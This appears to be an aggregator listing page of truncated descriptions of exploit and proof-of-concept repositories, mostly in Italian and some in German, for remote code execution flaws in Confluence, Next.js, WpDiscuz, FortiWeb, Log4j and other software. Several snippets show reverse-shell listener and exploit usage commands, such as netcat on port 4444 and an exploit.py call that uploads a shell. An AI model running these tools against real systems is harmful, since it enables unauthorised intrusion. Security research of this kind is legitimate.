CVE-2020-29607-POC

Pluck CMS 4.7.13 Exploit RCE con Upload File 🚨 Exploit Didattico di Esecuzione Remota di Codice 🚨 Autore: Ron Jost Hacker5preme Riferimento: Exploit-DB CVE: CVE-2020-29607 ⚠️ Dichiarazione di esclusione: Questo script è destinato esclusivamente a scopi didattici e di test autorizzati. Non...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC reale Utilizzo Scarica bun https://github.com/oven-sh/bun/releases Avvia ngrok root@kitploit: ngrok tcp 4444 Mettiti in ascolto su localhost 4444 root@kitploit: nc -nvlp 4444 Esegui l'exploit root@kitploit: bun exploit-CVE-2023-22527.js...

CVE-2026-66492

Path Traversal nella Destinazione di Upload dei File PhocaCommander ≤ 6.1.3 — L'Admin Autenticato Scrive File Fuori dalla Webroot SOMMARIO L'handler di upload dei file in PhocaCommander costruisce il percorso di destinazione a partire da un parametro folder codificato in base64 e controllabile...

react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 Exploitation Framework Framework di exploitation avanzato per CVE-2025-55182 Remote Code Execution su Next.js Autore: opsecramdan 📚 Indice Panoramica Dettagli della Vulnerabilità Funzionalità Requisiti Installazione Utilizzo Shell Interattiva File di Output Impatto...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP Remote Code Execution-Schwachstelle. Das Auftreten von BSOD kann zu RCE führen, während mein Code nur BSOD verursacht. Ich analysiere kontinuierlich den Patch und teste, um das Auftreten von RCE im Zielsystem zu erreichen. Sternenverlauf Übersicht CVE-2024-38063 is...

Cve-2024-38063

CVE-2024-38063 Descrizione Questa repository contiene dettagli e potenziale codice di exploit per CVE-2024-38063, una vulnerabilità critica di Remote Code Execution RCE nel TCP/IP di Windows. La vulnerabilità consente a un attaccante non autenticato di eseguire codice arbitrario sul sistema targe...

CVE-2026-60004

CVE-2026-60004 — RCE tramite hook Git nel Diffpatch di Gitea Iniezione di hook tramite clone bare → post-index-change → Esecuzione arbitraria di comandi Panoramica CVE-2026-60004 è una vulnerabilità pre-autenticazione di esecuzione remota di codice con severità critica CVSS 9.8 nelle piattaforme...

CVE-2025-26264

CVE-2025-26264 CVE-2025-26264 - GeoVision GV-ASWeb con versione 6.1.2.0 o precedente contiene una vulnerabilità di Remote Code Execution RCE nella funzionalità Notification Settings. Un attaccante autenticato con privilegi "System Settings" in ASWeb può sfruttare questa falla per eseguire comandi...

CVE-2017-5638

CVE-2017-5638 Indice 1. Panoramica 2. Dipendenze 3. Utilizzo Panoramica Questo progetto è una prova di concetto per la vulnerabilità Apache Struts. L'obiettivo era creare un software in grado di generare e testare IP casuali per la vulnerabilità sopra descritta. Utilizza questo progetto a tuo...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

React2Shell-POC

Questa Proof of Concept PoC per la vulnerabilità React2Shell CVE-2025-55182 è stata sviluppata esclusivamente a scopo educativo e di ricerca. Ha lo scopo di dimostrare l'esistenza e il potenziale impatto di una specifica vulnerabilità di sicurezza in un ambiente controllato, autorizzato e non di...

Solar-exploiting-log-4j

🔥 Solar Exploiting Log4j - Walkthrough di TryHackMe 📌 Stanza: Solar Exploiting Log4j Piattaforma: TryHackMe Difficoltà: Media Argomento: Log4Shell Vulnerabilità Log4j 🧠 Obiettivo Sfruttare la vulnerabilità Log4j CVE-2021-44228 per ottenere l'esecuzione remota di codice e catturare le flag. 🛠️...

CVE-2025-14598

CVE-2025-14598 CVSS: 9.8 Iniezione SQL remota non autenticata che porta all'esecuzione di codice remoto. Riepilogo Esecutivo È stata identificata una vulnerabilità di SQL Injection nella funzionalità di login di BET e-Portal, una soluzione software ampiamente distribuita presso istituti educativi...

CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-

CVE-2025-2945 – pgAdmin4 Authentifizierte RCE PoC Dieses Repository enthält ein Proof-of-Concept-Skript , das für Sicherheitsforschung und autorisierte Penetrationstests im Zusammenhang mit der Schwachstelle CVE-2025-2945 erstellt wurde, die bestimmte Versionen von pgAdmin4 betrifft. Das Problem...

Wp_Adning_Advertising_Shell_Upload

WpAdningAdvertisingShellUpload python 2.7...

CVE-2024-4879

CVE-2024-4879 ServiceNow, una piattaforma ampiamente utilizzata per la trasformazione aziendale, ha recentemente divulgato tre vulnerabilità critiche di sicurezza che potrebbero avere gravi conseguenze per le organizzazioni in tutto il mondo. Queste vulnerabilità, identificate come CVE-2024–4879,...

CVE-2018-1273

CVE-2018-1273 Ambiente per CVE-2018-1273 CVE-2018-1273: RCE con Spring Data Commons https://pivotal.io/security/cve-2018-1273 Applicazione https://github.com/spring-projects/spring-data-examples/tree/master/web/example Build root@kitploit: $ docker build -t cve-2018-1273 . Run root@kitploit: $...

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Vulnerabilità di Esecuzione Remota di Codice in Roundcube Webmail Panoramica Tecnica CVE-2025-49113 è una vulnerabilità critica di deserializzazione non sicura in Roundcube Webmail che consente l'esecuzione remota di codice autenticata. La vulnerabilità deriva da una gestione...

cve-2025-66398

CVE-2025-66398 — Signal K Server RCE PoC 📜 Beschreibung CVE-2025-66398 ist ein Problem mit dem Signal K Server, bei dem ein nicht authentifizierter Angreifer den Wiederherstellungszustand des Servers über /skServer/validateBackup manipulieren, dann die Konfiguration über /skServer/restore kapern...

CVE-2025-52970

CVE-2025-52970 Exploit di Bypass dell'Autenticazione di FortiWeb per Esecuzione Remota di Codice Funzionalità Armato con l'aggiunta di una shell interattiva per abilitare l'esecuzione remota di codice Utilizzo root@kitploit: python CVE-2025-52970.py -t target.com Demo Riferimenti...